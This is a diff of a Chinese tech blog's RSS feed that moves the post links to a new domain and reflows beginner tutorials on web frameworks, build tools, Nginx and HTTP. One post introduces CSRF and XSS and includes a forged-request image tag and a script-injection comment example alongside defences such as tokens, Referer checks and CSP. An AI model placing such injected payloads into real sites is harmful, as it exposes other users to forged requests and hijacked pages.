@@ -184,15 +184,15 @@ app.use(&amp;rsquo;/src&amp;rsquo;,express.static(&amp;lsquo;src&amp;rsquo;))
 app.use(require(&amp;lsquo;cors&amp;rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require(&#39;mongoose&#39;)
mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true})
const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &amp;quot;abc&amp;quot;},
{_id: 2, title: &amp;quot;xyz&amp;quot;}
{_id: 3, title: &amp;quot;abcxyz&amp;quot;}
])*/
app.</description>
+const mongoose = require(&#39;mongoose&#39;) mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true}) const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &amp;quot;abc&amp;quot;}, {_id: 2, title: &amp;quot;xyz&amp;quot;} {_id: 3, title: &amp;quot;abcxyz&amp;quot;} ])*/ app.</description>
     </item>
     
     <item>
       <title>简单使用Hugo搭建网站</title>
-      <link>https://xiaochenabc123.github.io/posts/137/</link>
+      <link>https://chenjunlinabc.github.io/posts/137/</link>
       <pubDate>Tue, 22 Feb 2022 05:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/137/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/137/</guid>
       <description>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
@@ -223,10 +223,10 @@ hugo &amp;ndash;baseUrl=&amp;ldquo;http://chenjunlinabc.github.io/&amp;quot;
     
     <item>
       <title>简单了解RESTful设计规范</title>
-      <link>https://xiaochenabc123.github.io/posts/136/</link>
+      <link>https://chenjunlinabc.github.io/posts/136/</link>
       <pubDate>Wed, 16 Feb 2022 21:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/136/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/136/</guid>
       <description>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
@@ -248,10 +248,10 @@ HTTP请求方式（不同的操作使用不同的请求方式，例如获取资
     
     <item>
       <title>beego应用框架的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/134/</link>
+      <link>https://chenjunlinabc.github.io/posts/134/</link>
       <pubDate>Sat, 12 Feb 2022 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/134/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/134/</guid>
       <description>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
@@ -276,22 +276,22 @@ bee generate
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&amp;quot;name&amp;quot;)
c.Data[&amp;quot;Website&amp;quot;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&amp;quot;name&amp;quot;) c.Data[&amp;quot;Website&amp;quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &amp;ldquo;index.tpl&amp;rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt;
Official website:
&amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; /
Contact me:
&amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
+&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt; Official website: &amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; / Contact me: &amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
     </item>
     
     <item>
       <title>简单使用ESbuild打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/132/</link>
+      <link>https://chenjunlinabc.github.io/posts/132/</link>
       <pubDate>Mon, 07 Feb 2022 13:37:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/132/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/132/</guid>
       <description>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
@@ -309,17 +309,17 @@ npm run build
 或者
 yarn build
 例子（app.jsx）
-import React from &#39;react&#39;
import ReactDOM from &#39;react-dom&#39;
const App = () =&amp;gt; {
return (
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;
)
}
ReactDOM.render(
&amp;lt;App /&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
)
index.html
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
我本地打包只花64ms就打包好了
+import React from &#39;react&#39; import ReactDOM from &#39;react-dom&#39; const App = () =&amp;gt; { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; ) } ReactDOM.render( &amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ) index.html
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; 我本地打包只花64ms就打包好了
 使用source map功能</description>
     </item>
     
     <item>
       <title>简单使用GitHub Actions来实现CI/CD</title>
-      <link>https://xiaochenabc123.github.io/posts/131/</link>
+      <link>https://chenjunlinabc.github.io/posts/131/</link>
       <pubDate>Tue, 01 Feb 2022 18:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/131/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/131/</guid>
       <description>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
@@ -331,36 +331,36 @@ on：指定触发workflow的条件，一般为事件触发（比如说push）
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot;
- run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot; - run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
     </item>
     
     <item>
       <title>简单使用TailwindCSS</title>
-      <link>https://xiaochenabc123.github.io/posts/130/</link>
+      <link>https://chenjunlinabc.github.io/posts/130/</link>
       <pubDate>Thu, 27 Jan 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/130/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/130/</guid>
       <description>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
&#39;./src/**/*.{html,js}&#39;
],
如果没有配置content属性，会警告
+content: [ &#39;./src/**/*.{html,js}&#39; ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &amp;quot;tailwindcss/base&amp;quot;;
@import &amp;quot;tailwindcss/components&amp;quot;;
@import &amp;quot;tailwindcss/utilities&amp;quot;;
也可以将css导入到js中
-import &amp;quot;tailwindcss/tailwind.css&amp;quot;
tailwind编译
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &amp;quot;tailwindcss/base&amp;quot;; @import &amp;quot;tailwindcss/components&amp;quot;; @import &amp;quot;tailwindcss/utilities&amp;quot;; 也可以将css导入到js中
+import &amp;quot;tailwindcss/tailwind.css&amp;quot; tailwind编译
 npx tailwindcss -i ./src/index.css -o ./dist/main.css</description>
     </item>
     
     <item>
       <title>Pinia---vuejs的轻量级状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/124/</link>
+      <link>https://chenjunlinabc.github.io/posts/124/</link>
       <pubDate>Sun, 26 Dec 2021 20:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/124/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/124/</guid>
       <description>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
@@ -369,16 +369,16 @@ npm install pinia@next
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from &#39;vue&#39;
import App from &#39;./App.vue&#39;
const app = createApp(App)
import { createPinia } from &#39;pinia&#39;
app.use(createPinia())
app.mount(&#39;#app&#39;)
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from &#39;pinia&#39;
export const useDataStore = defineStore(&#39;data&#39;, {
state: () =&amp;gt; {
return { count: 666 }
},
//state: () =&amp;gt; {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state.</description>
+import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; const app = createApp(App) import { createPinia } from &#39;pinia&#39; app.use(createPinia()) app.mount(&#39;#app&#39;) src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from &#39;pinia&#39; export const useDataStore = defineStore(&#39;data&#39;, { state: () =&amp;gt; { return { count: 666 } }, //state: () =&amp;gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.</description>
     </item>
     
     <item>
       <title>简单使用vuex状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/123/</link>
+      <link>https://chenjunlinabc.github.io/posts/123/</link>
       <pubDate>Mon, 13 Dec 2021 06:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/123/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/123/</guid>
       <description>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
@@ -393,19 +393,19 @@ import Vuex from &amp;ldquo;vuex&amp;rdquo;
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &amp;lsquo;vuex&amp;rsquo; export default { mounted() { console.log(this.count) }, computed: { &amp;hellip;mapState([&amp;lsquo;count&amp;rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state.</description>
+getters: { getCount(state) { return state.</description>
     </item>
     
     <item>
       <title>简单使用Rollup模块打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/119/</link>
+      <link>https://chenjunlinabc.github.io/posts/119/</link>
       <pubDate>Wed, 10 Nov 2021 16:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/119/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/119/</guid>
       <description>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
@@ -416,10 +416,10 @@ npm install rollup
 查看帮助文档
 rollup &amp;ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&amp;ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
@@ -429,21 +429,21 @@ rollup src/demo.js -f umd -o dist/bundle.js &amp;ndash;name hallo
     
     <item>
       <title>简单了解CSRF攻击和XSS攻击</title>
-      <link>https://xiaochenabc123.github.io/posts/99/</link>
+      <link>https://chenjunlinabc.github.io/posts/99/</link>
       <pubDate>Sun, 12 Sep 2021 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/99/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/99/</guid>
       <description>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt;
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){
console.log(&amp;quot;验证成功!!!&amp;quot;)
}else{
console.log(&amp;quot;验证失败!!!&amp;quot;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){ console.log(&amp;quot;验证成功!!!&amp;quot;) }else{ console.log(&amp;quot;验证失败!!!&amp;quot;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&amp;lt;script&amp;gt;alert(&amp;lsquo;hack&amp;rsquo;)&amp;lt;/script&amp;gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -463,7 +463,7 @@ xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt;
其中img-src对应的指定图像或者图标的有效来源
+&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt; 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
@@ -474,10 +474,10 @@ Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目
     
     <item>
       <title>简单使用Vite-前端构建工具</title>
-      <link>https://xiaochenabc123.github.io/posts/87/</link>
+      <link>https://chenjunlinabc.github.io/posts/87/</link>
       <pubDate>Wed, 18 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/87/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/87/</guid>
       <description>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
@@ -517,16 +517,16 @@ npm install
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from &#39;@vitejs/plugin-legacy&#39;
.</description>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from &#39;@vitejs/plugin-legacy&#39; .</description>
     </item>
     
     <item>
       <title>简单使用Nginx</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -566,10 +566,10 @@ user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般
     
     <item>
       <title>简单使用Nginx HTTP服务器软件</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -604,15 +604,15 @@ apt install nginx
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
error_log /www/wwwlogs/nginx_error.</description>
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.</description>
     </item>
     
     <item>
       <title>简单认识HTTP协议</title>
-      <link>https://xiaochenabc123.github.io/posts/77/</link>
+      <link>https://chenjunlinabc.github.io/posts/77/</link>
       <pubDate>Sun, 08 Aug 2021 17:02:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/77/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/77/</guid>
       <description>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
@@ -676,15 +676,15 @@ http常见状态码
     
     <item>
       <title>简单利用backdrop-filter属性实现效果</title>
-      <link>https://xiaochenabc123.github.io/posts/65/</link>
+      <link>https://chenjunlinabc.github.io/posts/65/</link>
       <pubDate>Fri, 06 Aug 2021 10:18:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/65/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/65/</guid>
       <description>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&amp;lt;style&amp;gt;
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&amp;quot;1.jpg&amp;quot;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
&amp;lt;/style&amp;gt;
&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt;
&amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt;
hallo word
&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
backdrop-filter和filter区别：
+&amp;lt;style&amp;gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&amp;quot;1.jpg&amp;quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &amp;lt;/style&amp;gt; &amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt; &amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt; hallo word &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
 backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</description>
@@ -692,25 +692,25 @@ backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火
     
     <item>
       <title>JavaScript知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/61/</link>
+      <link>https://chenjunlinabc.github.io/posts/61/</link>
       <pubDate>Sun, 18 Jul 2021 22:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/61/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/61/</guid>
       <description>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc(&#39;hallo&#39;);
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc(&#39;hallo&#39;); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &amp;quot;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &amp;quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -720,7 +720,7 @@ window.history.forward()
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -736,10 +736,10 @@ document.execCommand(&amp;lsquo;paste&amp;rsquo;) // 粘贴</description>
     
     <item>
       <title>简单了解MVC，MVP和MVVM之间的不同与联系</title>
-      <link>https://xiaochenabc123.github.io/posts/56/</link>
+      <link>https://chenjunlinabc.github.io/posts/56/</link>
       <pubDate>Fri, 09 Jul 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/56/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/56/</guid>
       <description>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
@@ -751,10 +751,10 @@ MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基
     
     <item>
       <title>css的一些知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/44/</link>
+      <link>https://chenjunlinabc.github.io/posts/44/</link>
       <pubDate>Wed, 23 Jun 2021 09:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/44/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/44/</guid>
       <description>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
@@ -796,10 +796,10 @@ media 媒体查询
     
     <item>
       <title>Yarn包管理工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/38/</link>
+      <link>https://chenjunlinabc.github.io/posts/38/</link>
